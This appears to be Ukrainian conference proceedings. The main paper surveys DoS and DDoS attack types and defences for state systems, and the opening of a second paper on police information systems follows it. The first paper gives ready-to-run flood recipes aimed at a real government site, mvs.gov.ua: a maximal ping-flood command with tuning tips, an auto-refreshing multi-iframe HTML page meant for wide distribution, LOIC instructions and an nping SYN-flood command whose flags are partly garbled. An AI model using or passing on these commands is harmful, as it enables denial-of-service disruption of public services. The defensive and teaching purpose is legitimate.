Краснобрижий І. В.
доцент кафедри економічної та
інформаційної безпеки
Дніпропетровського державного
університету внутрішніх справ,
кандидат юридичних наук

ВИДИ ТА МЕТОДИКИ РЕАЛІЗАЦІЇ DOS ТА DDOS АТАК НА ДЕРЖАВНІ АВТОМАТИЗОВАНІ СИСТЕМИ, А ТАКОЖ МОЖЛИВІ ШЛЯХИ БОРОТЬБИ З НИМИ

DoS-атака (від англ. Denial of Service - відмова в обслуговуванні) і DDoS-атака (від англ. Distributed Denial of Service - розподілена атака типу «відмова в обслуговуванні») - атака на обчислювальну систему з метою довести її до відмови, тобто створення таких умов, при яких легітимні (правомірні) користувачі системи не можуть одержати доступ до надаваємих системою ресурсів, або цей доступ стає ускладнений. Відмова «ворожої» системи може бути як самоціллю (наприклад, зробити недоступним популярний сайт), так і одним із кроків до оволодіння системою (якщо в позаштатній ситуації програмне забезпечення видає яку-небудь критичну інформацію - наприклад, версію, частину програмного коду й т.і.) [1].

Назва цих атак добре відображає їхню суть, оскільки результатом цих атак є недоступність того або іншого сервісу (певного додатка) або цільової машини.

Атака, заснована на IP-фрагментації спрямована на обладнання, що слідкує за захистом IP фільтруючого встаткування. Для її реалізації зловмисники використовують два різних методи: "мікрофрагменти" (Tiny Fragments) і "перекриття фрагментів" (Fragment Overlapping). Ці атаки стають надбанням історії, оскільки сучасні міжмережеві екрани давно успішно з ними справляються.

Якщо уразливості додатка ведуть до можливості одержання контролю над машиною (наприклад, за допомогою переповнення буфера), вони також можуть привести до відмови в обслуговуванні. Додаток стане недоступним або через недостачу ресурсів, або через аварійне завершення.

Існує кілька типів атак "відмова в обслуговуванні", що ґрунтуються на особливостях стека протоколів TCP/IP:

Атака за назвою SYN-flood використовує механізм встановлення TCP-з'єднання (механізм потрійного квитуваня). Як ви пам'ятаєте, є три стани установлення TCP-з'єднання: посилка SYN-пакету, одержання пакета SYN-ACK і посилка ACK-пакету. Ідея атаки складається в створенні великої кількості не до кінця встановлених TCP-з'єднань. Для реалізації цього, зловмисник посилає безліч запитів на встановлення з'єднання (пакети, з виставленим прапором SYN) і цільова машина відповідає пакетами SYN-ACK. Зловмисник же не завершує процес встановлення з'єднання, а залишає їх у напіввідкритому стані. Отже, для

кожного отриманого SYN-пакету сервер виділяє ресурси і незабаром вони вичерпуються. У результаті нові з'єднання не можуть бути відкриті. Цей тип відмови в обслуговуванні спрямований тільки на цільову машину.

Атака за назвою UDP-flood використовує безсеансовий режим протоколу UDP. Зловмисник генерує велику кількість UDP-пакетів ("шторм UDP-пакетів") спрямованих на одну або дві машини. У результаті відбувається перевантаження мережі й цільових машин.

У протоколі TCP є механізми запобігання перевантажень - якщо підтвердження прийому пакетів приходять зі значною затримкою, сторона що передає сповільнює швидкість передачі TCP-пакетів. У протоколі UDP такий механізм відсутній, і після початку атаки UDP-трафік швидко захопить весь доступний канал пропускання, і TCP-трафику залишиться лише мала його частина.

Найбільш відомий приклад UDP-flood, атака на сервіс chargen. Реалізація цієї атаки проста: досить встановити зв'язок між сервісами chargen на одній машині і сервісом echo на іншій. Сервіс chargen генерує символи, а сервіс echo дублює отримані дані. Зловмисник посилає UDP-пакети на порт 19 (chargen) однієї з машин-жертв, підробляючи IP-адресу і порт джерела. У цьому випадку портом джерела буде UDP-порт 7 (echo). Атака UDP-flood приводить до перевантаження мережі на відрізку між двома машинами. У результаті постраждати може вся мережа.

Відмова в обслуговуванні також досягається за допомогою так званої пакетної фрагментації і використовує уразливості деяких стеків TCP/IP, пов'язаних з дефрагментацією пакетів (складанням IP-фрагментів). Відома атака, що використовує цей підхід - Teardrop (сльоза – англ.). Фрагментарний зсув другого сегмента менше розміру першого сегмента. Це означає, що при складанні фрагментів перший сегмент повинен буде містити дані другого сегмента і відбувається перекриття фрагментів. Під час складання таких пакетів деякі системи не можуть обробити сформовану ситуацію, що приводить до відмови в обслуговуванні. Існують різні варіанти цієї атаки, наприклад bonk, boink і newtear. Атака відмова в обслуговуванні "Ping of Death" використовує некоректну обробку ICMP-фрагментів, посилаючи більше даних чим максимальний розмір IP-пакета. Різні типи атак "відмова в обслуговуванні" ведуть до відмов цільової системи.

Атака за назвою smurfing використовує ICMP-протокол. При посилці ping-пакета (повідомлення ICMP ECHO) по широкомовній адресі (наприклад, 10.255.255.255) він доставляється кожній машині в цій мережі. Принцип атаки полягає в посилці пакета ICMP ECHO REQUEST з адресою-джерелом машини-жертви. Зловмисник шле постійний потік ping-пакетів по мережній широкомовній адресі. Всі машини, одержавши запит, відповідають джерелу пакетом ICMP ECHO REPLY. Відповідно, розмір потоку пакетів зростає в кількості, пропорційному числу хостів. У результаті вся мережа піддається відмові в обслуговуванні через перевантаження.

Атака за назвою ICMP-flood співпадеє з smurfing-гом, но без використання широкомовної адресації пакетів.

Технічно атаки DoS, DDoS реалізуються трьома різними способами:

- Найменш небезпечний і короткочасний - так званий «слэшдот-ефект». Представляє собою публікацію посилання до сайту, що «атакується», на популярному мережному ресурсі. По суті це не атака, і ми включаємо її в загальний список через подібність наслідків (а також технічних засобів, що призначаються для захисту від шкідливих дій).
- Рідкий, але досить потужний по своїх наслідках - організація атак DDoS за допомогою спеціального програмного забезпечення яке запускається добровільно користувачами-волонтерами на своїх комп'ютерах по усьому світі. Найбільш відомий приклад - атака DDoS анонімних активістів, які мстили міжнародним платіжним системам за відмову в обслуговуванні WikiLeaks.
- Найпоширенішими й неприємний - керовані зловмисниками атаки DDoS, організовувані через комп'ютери, які заражені комп'ютерними вірусами.

Наведемо приклади реалізації найпростіших DoS, DDoS атак:

1. Атака PING- flood за допомогою ICMP-Пакетів.

Для виконання ICMP- flood треба в командному рядку виконати:

ping -n 4294967295 -l 65500 mvs.gov.ua

- -n - число запитів, що відправляються;
- -l - розмір буфера відправлення.

Число запитів, що відправляються і розмір буфера відправлення виставляємо максимально можливі, а Time To Live (час життя пакетів) мінімально можливий.

Спочатку необхідно перевірити чи відповідає хост (ping mvs.gov.ua). Якщо хост відповідає, то пробують застосувати команду ping з максимальним розміром пакета -l 65500:

ping -n 4294967295 -l 65500 mvs.gov.ua

Якщо у відповідь одержимо "Перевищений інтервал очікування для запиту", то зменшують розмір пакета до -l 40000. Це повинне спрацювати, а якщо ні, то ще трохи зменшують розмір пакета.

2. Атака HTTP- flood за допомогою браузера.

Метод гранично простий. Наприклад HTTP- flood спрямований на сайт "mvs.gov.ua". Для реалізації атаки створюють файл із будь-яким ім'ям (наприклад – index) і розширенням html. Після чого розміщують в ньому нижче наведений код:

```
<html>
<head>
<title>ТЕСТУВАННЯ ЗАХИСТУ</title>
<meta http-equiv="refresh" content="3; url=index.html" />
</head>
<body>
<iframe src="http://www.mvs.gov.ua/" height="100%" width="100%" name="torba"></iframe>
<iframe src="http://www.mvs.gov.ua/" height="100%" width="100%" name="torba"></iframe>
```

```
<iframe src="http://www.mvs.gov.ua/" height="100%" width="100%" name="torba"></iframe>
<iframe src="http://www.mvs.gov.ua/" height="100%" width="100%" name="torba"></iframe>
<iframe src="http://www.mvs.gov.ua/" height="100%" width="100%" name="torba"></iframe>
<iframe src="http://www.mvs.gov.ua/" height="100%" width="100%" name="torba"></iframe>
<iframe src="http://www.mvs.gov.ua/" height="100%" width="100%" name="torba"></iframe>
<iframe src="http://www.mvs.gov.ua/" height="100%" width="100%" name="torba"></iframe>
<iframe src="http://www.mvs.gov.ua/" height="100%" width="100%" name="torba"></iframe>
<iframe src="http://www.mvs.gov.ua/" height="100%" width="100%" name="torba"></iframe>
<iframe src="http://www.mvs.gov.ua/" height="100%" width="100%" name="torba"></iframe>
<iframe src="http://www.mvs.gov.ua/" height="100%" width="100%" name="torba"></iframe>
<iframe src="http://www.mvs.gov.ua/" height="100%" width="100%" name="torba"></iframe>
<iframe src="http://www.mvs.gov.ua/" height="100%" width="100%" name="torba"></iframe>
<iframe src="http://www.mvs.gov.ua/" height="100%" width="100%" name="torba"></iframe>
</body>
</html>
```

Для тих кому не зрозуміло - в HTML тегу meta встановлюється час, через який буде обновлятися сторінка і ім'я обновлюваної сторінки відповідно. У нашому випадку це локальна сторінка index.html. У тілі сторінки перебувають фреймі iframe, що завантажують потрібні нам сторінки сайту. Цей HTML код можливо помістити в тіло будь-якої сторінки, викласти в Internet, а посилання на неї роздати по світу.

Ще один спосіб HTTP- flood - це використання спеціального софту, наприклад такого як LOIC (Low Orbit Ion Cannon). LOIC для своєї роботи вимагає наявності встановленого .NET Framework 4. Запустивши програму у її поля необхідно просто ввести URL жертви, номер порту (80 за замовчуванням), кількість потоків і нажати кнопку «почати роботу».

3. Атака TCP SYN- flood

Можливо пофлудити за допомогою програми nping, яка входить до складу Nmap (сканера безпеки):

nping ---iunprivileged ---idelay 1s -c 999999999 ---i tcp-connect -iflags SYN -p 80 mvs.gov.ua

- ---unprivileged- передбачається, що користувач не має доступу до raw socket;
- ---idelay 1s - затримка між спробами;
- -c 999999999 - кількість спроб;
- --tcp-c tcp-onnecconnect - непривілейоване TCP з'єднання;
- ---iflags SYN - тип TCP з'єднання SYN (Synchronize sequence numbers).

У підсумку одержують TCP SYN - flood - при даному виді флуд-атаки на вузол що атакується, направляється велика кількість SYN-пакетів по протоколі TCP (запитів на відкриття з'єднання). При цьому на комп'ютері що атакується, через якийсь час вичерпується кількість доступних для відкриття сокетів (програмних мережних гнізд, портів) і сервер перестає відповідати.

Наслідки DDoS-атак і їхню ефективність можливо істотно знизити за рахунок правильного настроювання маршрутизатора, брандмауера й постійного аналізу аномалій у мережевому трафіку. Якщо буде потреба можливо задіяти nginx-модуль ngx_http_limit_req_module, що обмежує кількість одночасних підключень із однієї адреси. Ресурсномісткі скрипти можливо захистити від ботів за допомогою затримок, кнопок «натисни мене», виставляння кукісов і інших прийомів, спрямованих на перевірку «людяності». Усі сервера, що мають прямий доступ у зовнішню мережу, повинні бути підготовлені до простого й швидкого віддаленому ребуту (reboot - перезавантаження, англ.), використовуючи сервіс sshd. Великим плюсом буде наявність другого, адміністративного, мережного інтерфейсу, через який можливо одержати доступ до сервера у випадку переповнення основного каналу. Програмне забезпечення, використовуване на сервері, завжди повинно перебувати в актуальному стані. Всі дірки - пропатчені, відновлення встановлено (проста порада, якою багато нехтують). Це захистить нас від DoS-атак, що експлуатують баги (помилки) у сервісах. Всі слухаючі мережні сервіси, призначені для адміністративного використання, повинні бути блоковані брандмауером від усіх, хто не повинен мати до них доступ. Тоді атакуючий не зможе використовувати їх для проведення DoS-атаки або брутфорса (brute force - груба сила, анг.). На підходах до сервера (найближчому маршрутизаторі) повинна бути встановлена система аналізу трафіка (наприклад - NetFlow), що дозволить вчасно довідатися про атаку, що починається, і вчасно вжити заходів по її запобіганню. Більш-менш ефективне рішення полягає в покупці дорогих систем Cisco Traffic Anomaly Detector [2] і Cisco Guard [3]. Працюючи у зв'язці вони можуть придушити атаку що починається, але як і більшість інших рішень, заснованих на навчанні й аналізі становищ, дають збої. Тому варто гарненько подумати перед тим, як витрачати сотні тисяч гривень на такий захист.

Як висновок необхідно зазначити, що протидія вказаним атакам найбільш ефективна при використанні комплексного підходу до реалізації захисту. Значний ефект в плані побудови надійного захисту досягається шляхом проведення аудиту безпеки автоматизованих комплексів спеціальними компетентними державними органами, мета яких полягає у боротьбі з кіберзлочинами.

Список використаних джерел:
1. https://uh.ua/ua/solutions-services/ddos-protection.html
2. http://www.cisco.com/c/en/us/products/collateral/interfaces-modules/catalyst-6500-7600-router-traffic-anomaly-detector-module/product_data_sheet0900aecd80220a6e.html
3. http://www.cisco.com/web/RU/products/ps5888/index.html

Кудінов В. А.
завідувач кафедри інформаційних технологій Національної академії внутрішніх справ, кандидат фізико-математичних наук, доцент

ДО ПИТАННЯ ЩОДО ПРАВОНАСТУПНИКА ІНТЕГРОВАНИХ ІНФОРМАЦІЙНО-ПОШУКОВИХ СИСТЕМ ОРГАНІВ ВНУТРІШНІХ СПРАВ УКРАЇНИ ТА ОРГАНІЗАЦІЇ ЇХ ІНФОРМАЦІЙНОЇ БЕЗПЕКИ

Від початку процесу інформатизації органів і підрозділів внутрішніх справ (далі – ОВС) України минуло вже більше 45 років. За цей час накопичений чималий досвід використання різноманітних інформаційних та інформаційно-телекомунікаційних систем оперативно-розшукового та інформаційно-довідкового призначення.

Відповідно до Указу Президента України від 20 жовтня 2005 року № 1497/2005 передбачено створення інтегрованих інформаційно-аналітичних систем органів державної влади та органів місцевого самоврядування, правоохоронних органів [1]. Тому в системі Міністерства внутрішніх справ (далі – МВС) України вживаються заходи щодо створення та впровадження різноманітних інтегрованих інформаційних систем. Станом на сьогодні найбільш потужними серед них є Інтегрована інформаційно-пошукова система ОВС України («АРМОР») [2], Інтегрована міжвідомча інформаційно-телекомунікаційна система («Аркан») [3], Національна автоматизована інформаційна система про транспортні засоби МВС України («НАІС») [4] тощо.

Останніми роками в країні здійснюється реформа Міністерства внутрішніх справ. Створено Національну поліцію як центральний орган виконавчої влади, який служить суспільству шляхом забезпечення охорони прав і свобод людини, протидії злочинності, підтримання публічної безпеки і порядку. При цьому діяльність поліції спрямовується та координується Кабінетом Міністрів України через Міністра внутрішніх справ України згідно із законом [5].

Виникає питання щодо правонаступника інтегрованих інформаційно-пошукових систем ОВС України.